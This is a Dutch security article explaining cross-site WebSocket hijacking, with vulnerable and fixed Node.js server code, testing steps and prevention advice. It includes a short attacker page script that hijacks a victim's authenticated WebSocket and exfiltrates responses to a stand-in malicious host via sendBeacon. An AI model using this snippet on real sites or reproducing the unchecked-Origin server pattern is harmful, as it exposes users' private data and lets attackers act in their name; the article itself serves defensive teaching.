Direct naar inhoud

Cross-site WebSocket hijacking

CWE-1385CWE-346OWASP A01:2021Bijgewerkt 3 september 20265 min leestijd

Een WebSocket-verbinding wordt geopend met een gewoon HTTP-verzoek waarbij de browser cookies meestuurt, maar waarop de same-origin policy niet van toepassing is. Controleert de server de Origin-header niet, dan kan een willekeurige site een verbinding openen namens uw ingelogde gebruiker, en anders dan bij CSRF ook alle antwoorden lezen.

WebSockets vallen buiten de vanzelfsprekendheden waar de rest van het web op leunt. De same-origin policy geldt er niet, CORS grijpt er niet op in, en toch stuurt de browser bij het openen van de verbinding gewoon de cookies mee. Die combinatie maakt een controle die u elders van de browser krijgt, hier tot uw eigen verantwoordelijkheid. Het gaat op één specifieke manier mis.

Wat is cross-site WebSocket hijacking?

Een WebSocket-verbinding begint als een gewoon HTTP-verzoek met de vraag om over te schakelen naar het WebSocket-protocol. Bij dat openingsverzoek stuurt de browser alle cookies voor het doeldomein mee, precies zoals bij elk ander verzoek. Wat hij níet doet, is de same-origin policy toepassen: er is geen voorbereidend verzoek en er is geen beleid dat de verbinding tegenhoudt.

Van cross-site WebSocket hijacking spreken we wanneer de server niet controleert vanaf welke herkomst die verbinding wordt geopend. Een willekeurige site die uw ingelogde gebruiker bezoekt, kan dan een verbinding met uw applicatie opzetten die volledig is geauthenticeerd, met de sessie van het slachtoffer, en daarover in beide richtingen communiceren.

Het onderscheid met CSRF is belangrijk. Bij CSRF kan een aanvaller een verzoek laten uitvoeren maar het antwoord niet lezen; de browser houdt dat tegen. Hier is er geen browser die iets tegenhoudt: er ontstaat een open kanaal waarover de aanvaller stuurt én ontvangt, zolang de verbinding blijft staan.

Hoe verloopt een WebSocket-hijackingaanval?

Kwetsbaar:

const { WebSocketServer } = require('ws');

const wss = new WebSocketServer({ server });

wss.on('connection', (socket, req) => {
  const sessie = leesSessie(req.headers.cookie);     // cookie is meegestuurd
  if (!sessie) return socket.close();

  socket.on('message', async (bericht) => {
    const vraag = JSON.parse(bericht);
    if (vraag.type === 'berichten') {
      socket.send(JSON.stringify(await berichten.voor(sessie.userId)));
    }
  });
});

De sessie wordt netjes gecontroleerd, dus alleen ingelogde gebruikers krijgen een verbinding. Wat ontbreekt is de vraag wáárvandaan die verbinding wordt geopend. Op de pagina van een aanvaller volstaat dan:

// Draait zodra een ingelogd slachtoffer deze pagina bezoekt
const ws = new WebSocket('wss://portaal.example/kanaal');

ws.onopen = () => ws.send(JSON.stringify({ type: 'berichten' }));
ws.onmessage = (e) => {
  navigator.sendBeacon('https://kwaadaardig.example/in', e.data);
};

De browser stuurt de sessiecookie mee bij het openen, de server ziet een geldige sessie en de verbinding komt tot stand. Vanaf dat moment kan de aanvaller elke opdracht sturen die uw protocol ondersteunt en leest hij elk antwoord, berichten, gegevens, meldingen. Het slachtoffer hoeft alleen de pagina open te houden.

Veilig:

const TOEGESTAAN = new Set(['https://portaal.example']);

const wss = new WebSocketServer({
  server,
  verifyClient: ({ origin, req }, klaar) => {
    if (!TOEGESTAAN.has(origin)) {                  // exacte overeenkomst
      return klaar(false, 403, 'Herkomst niet toegestaan');
    }
    klaar(true);
  },
});

wss.on('connection', (socket, req) => {
  // Authenticatie via een expliciet token, niet via de meegestuurde cookie
  socket.eersteBericht = true;
  socket.on('message', async (bericht) => {
    const vraag = JSON.parse(bericht);

    if (socket.eersteBericht) {
      socket.gebruiker = await controleerKanaaltoken(vraag.token);
      socket.eersteBericht = false;
      if (!socket.gebruiker) return socket.close(4401, 'Niet geauthenticeerd');
      return;
    }
    // ... afhandeling met socket.gebruiker
  });
});

Er zitten hier twee onafhankelijke maatregelen in. De controle op de herkomst weigert verbindingen vanaf elk ander domein. Verder de authenticatie verloopt niet meer via de automatisch meegestuurde cookie maar via een kortlevend token dat de applicatie expliciet opvraagt en als eerste bericht verstuurt, iets wat een vreemde site niet kan bemachtigen.

De Origin-header is te vertrouwen bij verzoeken uit een browser, want die vult hem zelf in en laat zich daarin niet sturen door scriptcode. Hij is níet te vertrouwen bij verzoeken van buiten een browser: een script of hulpmiddel zet er in wat het wil. Gebruik de controle daarom om browsergebaseerde aanvallen te blokkeren, en niet als enige vorm van authenticatie.

Wat is de impact van cross-site WebSocket hijacking?

De ernst loopt van middelzwaar tot hoog en wordt bepaald door wat er over het kanaal gaat. WebSockets worden juist ingezet voor de levendige delen van een applicatie: chatberichten, meldingen, actuele overzichten, samenwerking in documenten. Dat is doorgaans inhoudelijke informatie, niet alleen metagegevens.

Omdat het kanaal in twee richtingen werkt, blijft het niet bij meelezen. Ondersteunt uw protocol ook handelingen (een bericht versturen, een instelling wijzigen, een document bewerken) dan kan de aanvaller die uitvoeren namens het slachtoffer. En de verbinding blijft open zolang het tabblad open staat, waardoor hij niet één moment maar een aaneengesloten periode meekijkt.

Detectie is lastig. Aan serverzijde is er een normale, geauthenticeerde verbinding van een bekende gebruiker. Het enige afwijkende is de herkomst, en juist die wordt niet gecontroleerd, dat is immers de kwetsbaarheid.

Hoe spoor je cross-site WebSocket hijacking op?

Een tester zoekt eerst waar de applicatie WebSockets gebruikt; dat is zichtbaar in het netwerkverkeer als een verzoek dat overschakelt naar een 101-antwoord. Vervolgens wordt het openingsverzoek herhaald met een gewijzigde of ontbrekende Origin-header, om te zien of de verbinding alsnog tot stand komt.

Slaagt dat, dan wordt onderzocht wat er over het kanaal mogelijk is: welke berichttypen worden geaccepteerd, welke gegevens komen terug, en kunnen er handelingen worden uitgevoerd. Ook wordt gekeken of de autorisatie per bericht plaatsvindt of alleen bij het opzetten van de verbinding: een kanaal dat na authenticatie elke opdracht accepteert, is kwetsbaar voor toegang tot andermans gegevens binnen diezelfde verbinding. Verder wordt gecontroleerd of de sessiecookie een SameSite-attribuut heeft dat de aanval alsnog breekt. AssistSec neemt WebSocket-kanalen expliciet mee in een penetratietest, omdat geautomatiseerde hulpmiddelen ze vrijwel altijd overslaan en de functionaliteit erachter juist vaak gevoelig is.

Hoe voorkom je cross-site WebSocket hijacking?

  • Controleer bij het opzetten van elke WebSocket-verbinding de Origin-header tegen een vaste lijst.
  • Authenticeer de verbinding met een kortlevend token dat als eerste bericht wordt gestuurd, niet met de meegestuurde cookie.
  • Autoriseer elk afzonderlijk bericht, niet alleen het opzetten van de verbinding.
  • Geef kanaaltokens een korte geldigheid en maak ze na gebruik ongeldig.
  • Zet SameSite=Strict of Lax op de sessiecookie als aanvullende laag.
  • Gebruik uitsluitend wss://, zodat het verkeer versleuteld is.
  • Beperk het aantal verbindingen en berichten per gebruiker om misbruik te begrenzen.
  • Sluit verbindingen wanneer de onderliggende sessie verloopt of wordt ingetrokken.
  • Log het opzetten van verbindingen inclusief de herkomst, zodat afwijkingen zichtbaar worden.

Bronnen

Veelgestelde vragen

Waarom beschermt CORS hier niet?

Omdat het CORS-mechanisme niet van toepassing is op WebSocket-verbindingen. De browser voert geen voorbereidend verzoek uit en dwingt geen beleid af; hij stuurt alleen de Origin-header mee. Wat daarmee gebeurt, moet de server volledig zelf bepalen.

Is dit erger dan CSRF?

In gevolg meestal wel. Bij CSRF kan een aanvaller een actie afdwingen maar het antwoord niet lezen. Bij WebSocket hijacking staat er een tweerichtingskanaal open: hij stuurt berichten én ontvangt alles wat de server terugstuurt, voor de duur van de verbinding.

Helpt SameSite op de cookie?

Ja, een SameSite van Lax of Strict voorkomt dat de sessiecookie meegaat bij een verbinding die vanaf een vreemde site wordt geopend, en dat breekt de aanval. Beschouw het als een nuttige extra laag; de controle op de Origin blijft de maatregel waar het om draait.

Wat is een betere aanpak dan cookies?

Authenticeer de verbinding met een kortlevend token dat uw applicatie expliciet opvraagt en als eerste bericht over het kanaal stuurt. Omdat de browser dat token niet automatisch meestuurt, kan een vreemde site geen geauthenticeerde verbinding tot stand brengen.

Verwante artikelen

Druk op / om te zoeken · Esc